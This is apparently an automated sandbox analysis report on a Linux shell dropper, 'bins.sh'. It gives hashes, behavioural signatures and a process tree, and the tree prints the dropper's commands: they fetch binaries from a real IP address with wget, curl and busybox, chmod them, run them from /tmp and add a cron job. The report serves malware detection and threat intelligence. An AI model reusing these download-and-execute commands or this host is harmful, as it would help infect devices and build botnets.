Overview

overview

9

Static

static

1

bins.sh

ubuntu-18.04-amd64

9

bins.sh

debian-9-armhf

8

bins.sh

debian-9-mips

8

bins.sh

debian-9-mipsel

8

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240418-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    25-11-2024 15:51

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General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    868a25d1cb29cf4ae8a689739b0e3fa5

  • SHA1

    bb363298ac6bc042d7a482a3bd0116c57b6448d3

  • SHA256

    b5a72a1e5e99ac9a2f9dc7e9c66e567cd2261f92604534f9e997546c5f5428b3

  • SHA512

    138b1ab191e4ac93cdbf3ddb24f0c569aafcac14cadd2a74f22abe254f944174226793bfcbf7e828efdf717f35150baad68a981d64dea1563ac36715b14870cc

  • SSDEEP

    96:y64j4H4/4q4K4mJGWGrPLi01kR0lTf5NPAVt/hI4UP4g01kR0lTfpuA5zAVt/hIM:y6s06XrzaKybNPhgKyPls06XrJ

Score
8/10
antivmdefense_evasiondiscoveryexecutionpersistenceprivilege_escalatio

Malware Config

Signatures

  • Contacts a large (1514) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 8 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 24 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:638
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:640
        • /usr/bin/wget
          wget http://216.126.231.240/bins/QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
          2⤵
          • Writes file to tmp directory
          PID:645
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:667
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
          2⤵
          • Writes file to tmp directory
          PID:670
        • /bin/chmod
          chmod 777 QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
          2⤵
          • File and Directory Permissions Modification
          PID:673
        • /tmp/QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
          ./QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
          2⤵
          • Executes dropped EXE
          PID:675
        • /bin/rm
          rm QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
          2⤵
            PID:678
          • /usr/bin/wget
            wget http://216.126.231.240/bins/BA4Z1mgOrxpgylYbggzkkyi0JScNK16X4G
            2⤵
            • Writes file to tmp directory
            PID:679
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/BA4Z1mgOrxpgylYbggzkkyi0JScNK16X4G
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:696
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/BA4Z1mgOrxpgylYbggzkkyi0JScNK16X4G
            2⤵
            • Writes file to tmp directory
            PID:721
          • /bin/chmod
            chmod 777 BA4Z1mgOrxpgylYbggzkkyi0JScNK16X4G
            2⤵
            • File and Directory Permissions Modification
            PID:723
          • /tmp/BA4Z1mgOrxpgylYbggzkkyi0JScNK16X4G
            ./BA4Z1mgOrxpgylYbggzkkyi0JScNK16X4G
            2⤵
            • Executes dropped EXE
            PID:724
          • /bin/rm
            rm BA4Z1mgOrxpgylYbggzkkyi0JScNK16X4G
            2⤵
              PID:726
            • /usr/bin/wget
              wget http://216.126.231.240/bins/2vnd1C0gJdFIC7yrjysvEKUdqfcX58I9bG
              2⤵
              • Writes file to tmp directory
              PID:727
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/2vnd1C0gJdFIC7yrjysvEKUdqfcX58I9bG
              2⤵
              • Checks CPU configuration
              • Writes file to tmp directory
              PID:732
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/2vnd1C0gJdFIC7yrjysvEKUdqfcX58I9bG
              2⤵
              • Writes file to tmp directory
              PID:747
            • /bin/chmod
              chmod 777 2vnd1C0gJdFIC7yrjysvEKUdqfcX58I9bG
              2⤵
              • File and Directory Permissions Modification
              PID:752
            • /tmp/2vnd1C0gJdFIC7yrjysvEKUdqfcX58I9bG
              ./2vnd1C0gJdFIC7yrjysvEKUdqfcX58I9bG
              2⤵
              • Executes dropped EXE
              PID:754
            • /bin/rm
              rm 2vnd1C0gJdFIC7yrjysvEKUdqfcX58I9bG
              2⤵
                PID:756
              • /usr/bin/wget
                wget http://216.126.231.240/bins/a1Rtha90Ihhz5PMIkgSn1Fgb3TUH8u5Pxg
                2⤵
                • Writes file to tmp directory
                PID:758
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/a1Rtha90Ihhz5PMIkgSn1Fgb3TUH8u5Pxg
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:765
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/a1Rtha90Ihhz5PMIkgSn1Fgb3TUH8u5Pxg
                2⤵
                • Writes file to tmp directory
                PID:766
              • /bin/chmod
                chmod 777 a1Rtha90Ihhz5PMIkgSn1Fgb3TUH8u5Pxg
                2⤵
                • File and Directory Permissions Modification
                PID:767
              • /tmp/a1Rtha90Ihhz5PMIkgSn1Fgb3TUH8u5Pxg
                ./a1Rtha90Ihhz5PMIkgSn1Fgb3TUH8u5Pxg
                2⤵
                • Executes dropped EXE
                PID:768
              • /bin/rm
                rm a1Rtha90Ihhz5PMIkgSn1Fgb3TUH8u5Pxg
                2⤵
                  PID:770
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/meqpVBMgDFOAZIupTXZ50EylVHiTV26XEB
                  2⤵
                  • Writes file to tmp directory
                  PID:771
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/meqpVBMgDFOAZIupTXZ50EylVHiTV26XEB
                  2⤵
                  • Checks CPU configuration
                  • Writes file to tmp directory
                  PID:772
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/meqpVBMgDFOAZIupTXZ50EylVHiTV26XEB
                  2⤵
                  • Writes file to tmp directory
                  PID:773
                • /bin/chmod
                  chmod 777 meqpVBMgDFOAZIupTXZ50EylVHiTV26XEB
                  2⤵
                  • File and Directory Permissions Modification
                  PID:774
                • /tmp/meqpVBMgDFOAZIupTXZ50EylVHiTV26XEB
                  ./meqpVBMgDFOAZIupTXZ50EylVHiTV26XEB
                  2⤵
                  • Executes dropped EXE
                  PID:775
                • /bin/rm
                  rm meqpVBMgDFOAZIupTXZ50EylVHiTV26XEB
                  2⤵
                    PID:777
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/5W9con9H2UWu7fOyEMN967UCp0NLxplrKM
                    2⤵
                    • Writes file to tmp directory
                    PID:778
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/5W9con9H2UWu7fOyEMN967UCp0NLxplrKM
                    2⤵
                    • Checks CPU configuration
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:779
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/5W9con9H2UWu7fOyEMN967UCp0NLxplrKM
                    2⤵
                    • Writes file to tmp directory
                    PID:782
                  • /bin/chmod
                    chmod 777 5W9con9H2UWu7fOyEMN967UCp0NLxplrKM
                    2⤵
                    • File and Directory Permissions Modification
                    PID:783
                  • /tmp/5W9con9H2UWu7fOyEMN967UCp0NLxplrKM
                    ./5W9con9H2UWu7fOyEMN967UCp0NLxplrKM
                    2⤵
                    • Executes dropped EXE
                    PID:784
                  • /bin/rm
                    rm 5W9con9H2UWu7fOyEMN967UCp0NLxplrKM
                    2⤵
                      PID:786
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/XMC6kVBPuicSGwb2OxRZOOkulrVeL21zgP
                      2⤵
                      • Writes file to tmp directory
                      PID:787
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/XMC6kVBPuicSGwb2OxRZOOkulrVeL21zgP
                      2⤵
                      • Checks CPU configuration
                      • Writes file to tmp directory
                      PID:790
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/XMC6kVBPuicSGwb2OxRZOOkulrVeL21zgP
                      2⤵
                      • Writes file to tmp directory
                      PID:791
                    • /bin/chmod
                      chmod 777 XMC6kVBPuicSGwb2OxRZOOkulrVeL21zgP
                      2⤵
                      • File and Directory Permissions Modification
                      PID:792
                    • /tmp/XMC6kVBPuicSGwb2OxRZOOkulrVeL21zgP
                      ./XMC6kVBPuicSGwb2OxRZOOkulrVeL21zgP
                      2⤵
                      • Executes dropped EXE
                      PID:793
                    • /bin/rm
                      rm XMC6kVBPuicSGwb2OxRZOOkulrVeL21zgP
                      2⤵
                        PID:796
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/xUzTBzlmTkqDmPYgiuwQUoD5he5fGu1V7Z
                        2⤵
                        • Writes file to tmp directory
                        PID:797
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/xUzTBzlmTkqDmPYgiuwQUoD5he5fGu1V7Z
                        2⤵
                        • Checks CPU configuration
                        • Writes file to tmp directory
                        PID:801
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/xUzTBzlmTkqDmPYgiuwQUoD5he5fGu1V7Z
                        2⤵
                        • Writes file to tmp directory
                        PID:804
                      • /bin/chmod
                        chmod 777 xUzTBzlmTkqDmPYgiuwQUoD5he5fGu1V7Z
                        2⤵
                        • File and Directory Permissions Modification
                        PID:807
                      • /tmp/xUzTBzlmTkqDmPYgiuwQUoD5he5fGu1V7Z
                        ./xUzTBzlmTkqDmPYgiuwQUoD5he5fGu1V7Z
                        2⤵
                        • Executes dropped EXE
                        • Renames itself
                        • Reads runtime system information
                        PID:808
                        • /bin/sh
                          sh -c "crontab -l"
                          3⤵
                            PID:810
                            • /usr/bin/crontab
                              crontab -l
                              4⤵
                              • Reads runtime system information
                              PID:811
                          • /bin/sh
                            sh -c "crontab -"
                            3⤵
                              PID:812
                              • /usr/bin/crontab
                                crontab -
                                4⤵
                                • Creates/modifies Cron job
                                PID:813
                          • /bin/rm
                            rm xUzTBzlmTkqDmPYgiuwQUoD5he5fGu1V7Z
                            2⤵
                              PID:815
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/ZyeHsCfEBP5YqhbZW94ItorSGVRlXNkNcT
                              2⤵
                                PID:818

                            Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

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                            Downloads

                            • /tmp/2vnd1C0gJdFIC7yrjysvEKUdqfcX58I9bG
                              Filesize

                              107KB

                              MD5

                              eb9c3a0de91fcf16ba17cb24608df68c

                              SHA1

                              09d95a7d70d5e115d103be51edff7c498d272fac

                              SHA256

                              dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                              SHA512

                              9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

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                            • /tmp/5W9con9H2UWu7fOyEMN967UCp0NLxplrKM
                              Filesize

                              111KB

                              MD5

                              701e7a55a4f3650f5feee92a9860e5fc

                              SHA1

                              6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                              SHA256

                              ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                              SHA512

                              7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

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                            • /tmp/BA4Z1mgOrxpgylYbggzkkyi0JScNK16X4G
                              Filesize

                              99KB

                              MD5

                              9438d9bc392bcf300a5583b6df5bc8f6

                              SHA1

                              375a6ae34b516f6f3eeea8030c4084f585017efa

                              SHA256

                              68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                              SHA512

                              1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

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                            • /tmp/QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
                              Filesize

                              112KB

                              MD5

                              05d7857dcead18bbd86d2935f591873c

                              SHA1

                              34d18f41ef35f93d5364ce3e24d74730a4e91985

                              SHA256

                              2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                              SHA512

                              d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

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                            • /tmp/XMC6kVBPuicSGwb2OxRZOOkulrVeL21zgP
                              Filesize

                              122KB

                              MD5

                              cd3d4b9c643e5b473fb4d88ed05f0716

                              SHA1

                              64ee7a97418583d759eaea8000890cc3bae1b5f4

                              SHA256

                              0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                              SHA512

                              164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

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                            • /tmp/a1Rtha90Ihhz5PMIkgSn1Fgb3TUH8u5Pxg
                              Filesize

                              117KB

                              MD5

                              849fa04ef88a8e8de32cb2e8538de5fe

                              SHA1

                              c768af29fe4b6695fff1541623e8bbd1c6f242f7

                              SHA256

                              8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                              SHA512

                              2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

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                            • /tmp/meqpVBMgDFOAZIupTXZ50EylVHiTV26XEB
                              Filesize

                              151KB

                              MD5

                              3c90d5820bddcf7c5d1bd21dfa49d958

                              SHA1

                              5ba05bd489e50af97d6dc45e3a0be60e494d5083

                              SHA256

                              bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                              SHA512

                              54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

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                            • /tmp/xUzTBzlmTkqDmPYgiuwQUoD5he5fGu1V7Z
                              Filesize

                              141KB

                              MD5

                              3ca8decdb1e52c423c521bfff02ac200

                              SHA1

                              8621ecd6807109b8541912ad9e134f6fb49bfd48

                              SHA256

                              dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                              SHA512

                              b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

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                            • /var/spool/cron/crontabs/tmp.Bapa3L
                              Filesize

                              210B

                              MD5

                              2f44306636d712aa463db4262105dcad

                              SHA1

                              1f8e90ff2431faa9db1c4cd4ce07ddd54496ede6

                              SHA256

                              dcf7684f70f625b481d240eed56e6372593b24f968c4b2435ca6fd4ff943ac7f

                              SHA512

                              b4487ead75bcedd3c7e0a34aec9e15a37af73a758544c26fb00c586d85b604b66893ed525ae2b71977ff3836b0c155e082d88d3395a4b35a3f73d7eee66eba04

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